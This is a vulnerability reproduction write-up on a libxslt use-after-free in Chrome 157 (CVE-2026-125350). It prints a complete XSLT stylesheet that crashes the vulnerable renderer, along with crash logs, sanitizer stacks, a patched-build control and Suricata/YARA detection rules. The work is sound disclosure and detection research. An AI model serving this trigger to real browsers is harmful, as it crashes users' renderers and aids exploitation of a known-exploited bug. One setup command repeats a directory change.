CVE-2026-125350: A Chrome Renderer Crash From an XSLT Stylesheet

The CVE record for CVE-2026-125350 says the bug “allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page”. Google’s advisory of 2026-11-09 adds that an exploit exists in the wild, and the CVE was added to CISA’s Known Exploited Vulnerabilities catalog on 2026-11-10.

I reproduced less than that, and this post says how much. An XML document with an XSLT stylesheet, served over HTTP, crashes the sandboxed renderer of stock Google Chrome 157.0.8103.38 on Linux, with no flag. The same page does nothing to 157.0.8103.50. On a sanitizer build one revision before the fix, the crash is a heap use after free in libxslt. I did not attempt code execution.

The trigger is not new. Its two shapes follow the two cases of the crash test that the fix commit added to Chromium. What I add is a lab of stock Chrome builds pinned by checksum, the raw output of every run, the sanitizer’s allocation stacks for both cases with the reason in libxslt’s code why each leaves a stale object behind, a check that does not trigger the bug, live captures, and tested Suricata and YARA rules. All of it is in the repository: al4n4n/achilles-heel/CVE-2026-125350.

The target: XSLT inside the renderer

Chrome runs XSLT with a bundled copy of libxslt, and it runs it inside the renderer process. The page in this post needs no script to reach that code: the browser loads an XML document, finds an xml-stylesheet processing instruction in it, fetches the stylesheet and applies it. The user does one thing, which is to open the URL.

The advisory names Google Chrome only and gives no figures on scale, so I give none. The CVSS 3.1 vector from CISA is AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 8.8 High.

A cache and a pointer that outlives it

The bug is in one function, xsltTestCompMatchDirect() in pattern.c. libxslt uses it as a shortcut for patterns with two predicates in a row, such as book[p][q]. It evaluates //book[p][q] once per document and caches the resulting node-set object in a slot of the transform context that belongs to the pattern, together with the document it was computed for.

On entry the function copies the cached pointer into a local variable. If the node it is asked about sits in another document, it evaluates the pattern again with xmlXPathEval(), frees the old object through that local variable and stores the new one.

The trouble is what the evaluation can do in between. A predicate that reads a global variable not yet computed makes libxslt evaluate the variable’s body on the spot. If that body runs an xsl:number whose count pattern uses the same slot, the function is entered a second time. The nested call frees the cached object and installs another.

Back in the outer call, the local variable still points at the freed object. xmlXPathFreeObject() reads its type field, which is the use after free, may free what its nodesetval field points to, and frees the object a second time. The fix commit’s message describes the same thing:

xsltTestCompMatchDirect read the cached node-set from the transform context’s runtime extras before calling xmlXPathEval, then freed that pointer afterwards. The evaluation can re-enter the function for the same cache slot (e.g. via a lazily evaluated global variable whose value runs xsl:number), and the nested call may free and replace the cached object, resulting in a double free.

What the stylesheet has to do

Five conditions have to hold.

  1. XSLT is enabled in the browser.
  2. An xsl:number count pattern has two consecutive predicates, one of which reads a global variable.
  3. A stale object is already in the pattern’s slot when the outer call starts.
  4. Three nodes sit in three documents, so that neither call sees the cached document: the source document and two loaded with document().
  5. The variable has not been computed before the predicate reads it.

The third condition is the one that needs a trick, because xsl:number clears its count pattern’s cache after every use. Two paths leave an object behind anyway, and they are the same two that the fix commit’s crash test uses.

  • union: xsltCompMatchClearCache() clears only the first alternative of a | b, so a second alternative that is matched directly keeps its object.
  • import: slot numbers of template patterns in an imported stylesheet are shifted on import, those of xsl:number patterns are not. A count pattern in a second import then shares a slot with a template pattern of the first, whose cache is never cleared.

This is the stylesheet my PoC serves for the union shape, as the PoC prints it (evidence/poc_stable-vuln_union.txt):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[*] stylesheet served as sheet.xsl:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:variable name="outer">
<xsl:apply-templates select="/shelf/book" mode="tally"/>
<xsl:apply-templates select="document('second.xml')/shelf/book" mode="tally"/>
</xsl:variable>
<xsl:variable name="inner">
<xsl:apply-templates select="document('third.xml')/shelf/book" mode="tally"/>
<xsl:text>.</xsl:text>
</xsl:variable>
<xsl:template match="book" mode="tally">
<xsl:number level="any" count="nothing | book[@lang = 'b'][string($inner)]"/>
</xsl:template>
<xsl:template match="/">
<html><body><p id="result">transform finished:<xsl:value-of select="$outer"/></p></body></html>
</xsl:template>
</xsl:stylesheet>

Read it with the conditions in mind. $outer numbers the book of the source document, and the direct match caches a node-set for the second alternative of nothing | book[...][...]. Then $outer numbers the book of second.xml. That is a new document, so the outer call takes its copy of the cached pointer and starts evaluating the pattern again. The second predicate reads $inner, which has not been computed yet. Its body loads third.xml and runs the same xsl:number, so the nested call frees the cached object. The outer call comes back holding a pointer to freed memory and frees it again.

A count pattern with a single predicate never enters the function. The PoC has a control variant for that, and it renders normally on the vulnerable build (evidence/poc_stable-vuln_control.txt).

The browser that would not run it

One lab target did not behave like the others. This is the union page against Chrome for Testing 157.0.8103.38 as shipped (evidence/poc_cft-noflag_union.txt):

1
2
3
4
5
6
[*] round 1/1
[victim] opens http://127.0.0.1:38080/1-40464ab4/catalog.xml
[http] GET /1-40464ab4/catalog.xml -> 200, 106 bytes
[http] GET /favicon.ico -> 404, 10 bytes
[target] page loaded, but the browser never requested the stylesheet: XSLT is disabled in this browser
RESULT: no renderer crash in 1/1 rounds -> exit 1

The browser shows the XML and never asks for the stylesheet. That build ships with XSLT off, so a page cannot reach the bug there. With --enable-features=XSLT it crashes like the others, but a lab that needs a switch says nothing about a default install.

The stable-channel .deb is different: 157.0.8103.38 runs XSLT with no switch. So the lab’s main pair is the stable package at 157.0.8103.38 and at 157.0.8103.50, unpacked and run headless in Docker with Chrome’s own sandbox on. One limit belongs here. The lab browsers run with their compiled-in feature defaults and never fetch Google’s live field-trial configuration, which can switch features on or off on a user’s machine. I did not test that.

The crash

poc.py plays the attacker’s web server and the user’s click. It uses the DevTools port only to open the URL and to read what the browser says about its renderer. The payload travels over HTTP like any page. Against stock Chrome 157.0.8103.38 (evidence/poc_stable-vuln_union.txt):

1
2
3
4
5
6
7
8
9
10
[*] round 1/1
[victim] opens http://127.0.0.1:38080/1-209b43d6/catalog.xml
[http] GET /1-209b43d6/catalog.xml -> 200, 106 bytes
[http] GET /1-209b43d6/sheet.xsl -> 200, 787 bytes
[http] GET /1-209b43d6/second.xml -> 200, 32 bytes
[http] GET /1-209b43d6/third.xml -> 200, 32 bytes
[target] RENDERER CRASHED. Events sent by the browser:
Inspector.targetCrashed {}
Target.targetCrashed {"errorCode": 132, "status": "crashed", "targetId": "76DEDCF235446491B8429D9E3E6BB773"}
RESULT: renderer crash reported by the target in 1/1 rounds -> exit 0

The [http] lines are the target’s own requests: the document, the stylesheet, then the two documents that document() pulls in. After third.xml the browser reports that its renderer is gone. Twenty rounds per variant gave 20/20 crashes on 157.0.8103.38.

The verdict above comes from the browser. The renderer also left its own record, a Crashpad minidump (evidence/crash_stable-vuln.txt):

1
2
3
4
5
6
7
8
9
target stable-vuln: Crashpad minidumps written by this browser: 2

minidump state/stable-vuln/.config/google-chrome/Crash Reports/completed/b553ac31-9fa4-44ab-8c8b-9235a2d56281.dmp (128496 bytes, written 2026-11-11 09:58:28 UTC)
process: ptype=renderer ver=157.0.8103.38 prod=Chrome_Linux plat=Linux
exception: SIGTRAP (signal 5, si_code 128), fault address 0x0
crashing thread, frame-pointer chain (module+offset; this build ships no symbols):
#0 0x00005781873ee452 chrome+0xc4fb452
#1 0x00005781873ee5e4 chrome+0xc4fb5e4
[...]

A ptype=renderer process of version 157.0.8103.38 died with SIGTRAP. The import variant dies with SIGSEGV. And that is all a stock build tells you, because it ships no symbols: the frames are module offsets.

Getting function names

To see which function is at fault I needed a build that names its frames. Chromium publishes AddressSanitizer snapshots of its main branch, and two of them sit exactly where I wanted them: r1738200, the parent of the fix commit, and r1738201, the fix commit itself. The same served documents, against r1738200 (evidence/crash_asan-vuln.txt, report 1 of 2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
--- report 1 of 2 ---
==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x77f7a0252710 at pc 0x55df85719527 bp 0x7ffd1a2dc390 sp 0x7ffd1a2dc388
READ of size 4 at 0x77f7a0252710 thread T0 (chrome)
#0 0x55df85719526 in xmlXPathFreeObject third_party/libxml/src/xpath.c:4233:15
#1 0x55df96db0a44 in xsltTestCompMatchDirect third_party/libxslt/src/libxslt/pattern.c:585:3
[...]
0x77f7a0252710 is located 0 bytes inside of 72-byte region [0x77f7a0252710,0x77f7a0252758)
freed by thread T0 (chrome) here:
#0 0x55df66798258 in __interceptor_free ??:0:0
#1 0x55df96db0a44 in xsltTestCompMatchDirect third_party/libxslt/src/libxslt/pattern.c:585:3
[...]
#11 0x55df96de9f82 in xsltEvalGlobalVariable third_party/libxslt/src/libxslt/variables.c:1285:6
#12 0x55df96dee114 in xsltXPathVariableLookup third_party/libxslt/src/libxslt/variables.c:1991:8
[...]
#23 0x55df8573bfc0 in xmlXPathEval third_party/libxml/src/xpath.c:12074:5
#24 0x55df96db08b0 in xsltTestCompMatchDirect third_party/libxslt/src/libxslt/pattern.c:565:12
[...]
SUMMARY: AddressSanitizer: heap-use-after-free in xmlXPathFreeObject third_party/libxml/src/xpath.c:4233:15

Read the “freed by” stack from the bottom. The outer call is inside xmlXPathEval() at pattern.c:565. The variable lookup runs the global variable’s body. A nested xsltTestCompMatchDirect() frees the object at line 585. The read at the top is the outer call, back from the evaluation with its stale pointer, in the same line 585.

The second report, for the import shape, has the same read and the same free. What differs is where the stale object was allocated (evidence/crash_asan-vuln.txt, report 2 of 2):

1
2
3
4
5
6
previously allocated by thread T0 (chrome) here:
[...]
#10 0x55df8573bfc0 in xmlXPathEval third_party/libxml/src/xpath.c:12074:5
#11 0x55df96db08b0 in xsltTestCompMatchDirect third_party/libxslt/src/libxslt/pattern.c:565:12
[...]
#13 0x55df96daee53 in xsltGetTemplate third_party/libxslt/src/libxslt/pattern.c:2343:10

In the union case the object was allocated while numbering a node. Here it was allocated by template matching, in xsltGetTemplate(), and later freed through an xsl:number pattern. That is the shared slot.

I want to be exact about what this report is. It comes from a Chromium main-branch snapshot, not from Chrome 157. Lines 565 and 585 are the same there as at tag 157.0.8103.38, but the stock 157 binaries give me no function names. On stock 157, the crash is tied to this function by the negative control and by the sanitizer pair, whose two revisions differ by exactly the fix commit.

The negative control

The same poc.py, the same documents, against Chrome 157.0.8103.50 (evidence/poc_stable-patched_union.txt):

1
2
3
4
5
6
7
8
9
[*] round 1/1
[victim] opens http://127.0.0.1:38080/1-6610de7a/catalog.xml
[http] GET /1-6610de7a/catalog.xml -> 200, 106 bytes
[http] GET /1-6610de7a/sheet.xsl -> 200, 787 bytes
[http] GET /1-6610de7a/second.xml -> 200, 32 bytes
[http] GET /1-6610de7a/third.xml -> 200, 32 bytes
[http] GET /favicon.ico -> 404, 10 bytes
[target] no crash. Page loaded; the renderer is alive and returns the transformed text: 'transform finished:01'
RESULT: no renderer crash in 1/1 rounds -> exit 1

The patched browser makes the same four requests, finishes the transform and returns its text. It wrote no crash report, and the sanitizer build at the fix commit printed no report (evidence/crash_stable-patched.txt, evidence/crash_asan-patched.txt):

1
2
target stable-patched: Crashpad minidumps written by this browser: 0
target asan-patched: AddressSanitizer reports in the container's stderr (docker logs): 0

Twenty rounds per variant against 157.0.8103.50 gave 0/20.

What this shows, and what it does not

Claim Status
Opening the served XML document crashes the renderer of stock Google Chrome 157.0.8103.38 (stable .deb, Linux x86_64, sandbox on, no feature switch) Confirmed
The same PoC does nothing to 157.0.8103.50 Confirmed
The bug is a heap use after free in xmlXPathFreeObject() on a stale pointer held by xsltTestCompMatchDirect(), freed by a nested call reached through a lazily evaluated global variable Confirmed on ASAN r1738200 against r1738201, not on Chrome 157
The trigger fires every time Proven
XSLT runs by default in stable 157.0.8103.38 with compiled-in defaults and is off in Chrome for Testing 157.0.8103.38 as shipped Proven
Code execution in the renderer (the disclosed impact), or any controlled use of the freed object Not reached: not attempted
Windows and macOS builds, and versions other than 157.0.8103.38 and 157.0.8103.50 Not reached: not tested
The documents served from a non-loopback origin Not reached: every run fetched them from http://127.0.0.1:38080
Which variant matches which of the two bug reports the fix closes, and which one the exploit in the wild used Not reached: unknown and not claimed

Proven means the evidence file is in the repository. Confirmed means the negative control was run. Not reached means not shown here; it does not mean not possible. The README has the full table with a file for every row, and the list of ways the lab differs from a stock install.

So the gap between disclosed and demonstrated is plain. The record says code execution inside the sandbox. I show a renderer crash on the stock build and the memory error behind it on a sanitizer build.

Detection

The repository ships two rules. Both look for the stylesheet, not for the crash: the XSLT namespace URI, plus an xsl:number whose count or from pattern has two predicates in a row and reads a variable. The Suricata rules match it in an HTTP response body, the YARA rule in a file. There is no Sigma rule, because a stock Chrome leaves only a Crashpad minidump with module offsets, and a renderer crash is not specific to this bug.

The test suite runs 40 checks. Both rules fire once on each of the two live attack captures and stay quiet on the control capture and on a live capture of three ordinary stylesheets rendered by the vulnerable browser. Three things to know before deploying them:

  • They are not quiet on everything benign. Both match 2 of the 1128 stylesheets in DocBook XSL 1.79.2, which number footnotes with a multi-predicate count pattern that reads global parameters. That is the trigger’s shape, used harmlessly.
  • A long attribute can hide the trigger. Each rule has to cover the stretch from the keyword count or from to the two predicates in a single match. The YARA rule stops at 4,096 bytes. For the Suricata rules, with the body in 1400-byte TCP segments, every saved run matched up to 7,500 five-byte union alternatives, about 37.5 kB; above that some runs miss.
  • The network rule needs to see the stylesheet in clear text, so HTTPS needs TLS inspection. And no variation of my own was run against the lab: the variation evidence is the fix commit’s regression stylesheets, for which the evidence holds no lab run, plus the second live capture and synthetic pcaps.

The rules, their tests, the measured limits and the triage steps for a match are in detection/.

The fix

The fix re-reads the slot after the evaluation, so the outer call frees whatever is in the slot now and not what was there before. It is nine added lines in pattern.c.

For users the fix is the update to 157.0.8103.50. Chrome also defines an enterprise policy, XSLTEnabled, whose definition at tag 157.0.8103.38 says that Disabled makes XSLT unavailable. I read the definition and did not test the policy.

Advisory and fix

Date Event
2026-11-07 Fix commit on the release branch, “[M157-mini] Fix use-after-free in libxslt direct pattern match cache”
2026-11-09 Stable channel update: Chrome 157.0.8103.50
2026-11-10 CVE record published; added to CISA KEV
2026-11-11 My reproduction runs (UTC)

The advisory credits the report to Arni Hardarson (Neonix Security) on 2026-10-12 and to an anonymous reporter on 2026-11-06.

Reproduce it

You need a Linux x86_64 host with Docker. From any other machine, add --ssh user@host to the first setup.py command and the lab runs on that host. The first run downloads the pinned Chrome builds and checks each against a sha256.

1
2
3
4
5
6
7
git clone https://github.com/al4n4n/achilles-heel.git && cd achilles-heel/CVE-2026-125350
cd CVE-2026-125350
python3 setup.py
python3 check.py --target 127.0.0.1:39222
python3 poc.py --target 127.0.0.1:39222
python3 poc.py --target 127.0.0.1:39223
python3 setup.py --down

check.py answers VERDICT: VULNERABLE (confidence: high) for the first target without triggering anything. The first poc.py run ends in RESULT: renderer crash reported by the target in 1/1 rounds -> exit 0, the second, against 157.0.8103.50, in RESULT: no renderer crash in 1/1 rounds -> exit 1. The README lists every step with its expected output, including the sanitizer run and the rule tests, and evidence/INDEX.md lists every evidence file with the command that produced it and the claim it supports.

References